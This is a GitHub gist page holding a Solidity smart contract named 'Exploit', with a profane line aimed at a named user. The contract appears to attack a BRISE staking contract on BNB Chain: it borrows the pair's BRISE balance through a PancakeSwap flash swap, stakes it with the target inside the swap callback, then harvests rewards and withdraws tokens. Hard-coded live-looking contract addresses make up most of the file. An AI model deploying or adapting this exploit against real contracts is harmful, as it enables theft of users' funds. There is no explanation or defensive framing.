Forked from C1h2e1/gist:7f9a84c41945abe08ee13341dabc2837
Created
July 24, 2022 04:08
-
-
Save yes00101/1f40d36949f09457b771ac0f13f09ba8 to your computer and use it in GitHub Desktop.
FUCK YOU @ironmountain_77
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.7.0 <0.9.0; | |
interface ITOKEN{ | |
function approve(address spender, uint256 value) external; | |
function transfer(address to, uint256 value) external; | |
function transferFrom( | |
address from, | |
address to, | |
uint256 value | |
) external; | |
function balanceOf(address owner) external view returns (uint); | |
function deposit() external payable; | |
} | |
interface ITARGET{ | |
function stake(uint256 amount, uint256 timeperiod) external; | |
function harvest(uint256 index) external; | |
} | |
interface IPair{ | |
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; | |
} | |
interface IRouterV2{ | |
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable; | |
} | |
contract Exploit{ | |
ITOKEN BRISE = ITOKEN(0x8FFf93E810a2eDaaFc326eDEE51071DA9d398E83); | |
ITARGET target = ITARGET(0xD578BF8Cc81A89619681c5969D99ea18A609C0C3); | |
IPair Pair = IPair(0x7DD308207c0e700466CAfda79f0218D898c211F8); | |
ITOKEN WBNB = ITOKEN(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); | |
IRouterV2 Router = IRouterV2(0x10ED43C718714eb63d5aA57B78B54704E256024E); | |
function MainHack() external{ | |
uint256 amount1Out = BRISE.balanceOf(0x7DD308207c0e700466CAfda79f0218D898c211F8); | |
Pair.swap(0,amount1Out-1000,address(this),new bytes(1)); | |
} | |
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external{ | |
uint256 Mybalance = WBNB.balanceOf(address(this)); | |
uint256 MyTokenbalance = BRISE.balanceOf(address(this)); | |
target.stake(MyTokenbalance,1); | |
WBNB.transfer(0x7DD308207c0e700466CAfda79f0218D898c211F8,amount1/9975*10000+1000); | |
} | |
function PayBNB() external payable{ | |
WBNB.deposit{value:msg.value}(); | |
} | |
function BuySomeTokenAndApprove() external payable{ | |
address[] memory path = new address[](2); | |
path[0] = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; | |
path[1] = 0x8FFf93E810a2eDaaFc326eDEE51071DA9d398E83; | |
Router.swapExactETHForTokens{value:msg.value}(0,path,address(this),999999999999); | |
BRISE.approve(0xD578BF8Cc81A89619681c5969D99ea18A609C0C3,0xffffffffffffffffffffffffffff); | |
} | |
function harvestReward(uint256 number) external{ | |
target.harvest(number); | |
} | |
function withdrawERC20(address tokenaddress) external{ | |
ITOKEN Token = ITOKEN(tokenaddress); | |
uint256 amount1Out = BRISE.balanceOf(address(this)); | |
Token.transfer(msg.sender,amount1Out); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment